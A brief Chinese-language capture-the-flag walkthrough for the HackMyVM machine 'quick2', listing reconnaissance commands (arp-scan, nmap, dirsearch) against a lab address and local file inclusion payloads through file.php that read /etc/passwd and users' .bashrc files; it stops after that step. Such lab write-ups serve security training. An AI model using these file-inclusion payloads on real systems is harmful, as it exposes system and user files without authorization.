hackmyvm-quick2

收集信息

arp-scan -l

nmap 192.168.66.74

dirsearch -u http://192.168.66.74 -e *

访问file.php

尝试查看/etc/passwd

抓包

payload:

/file.php?file=/home/andrew/.bashrc

/file.php?file=/home/nick/.bashrc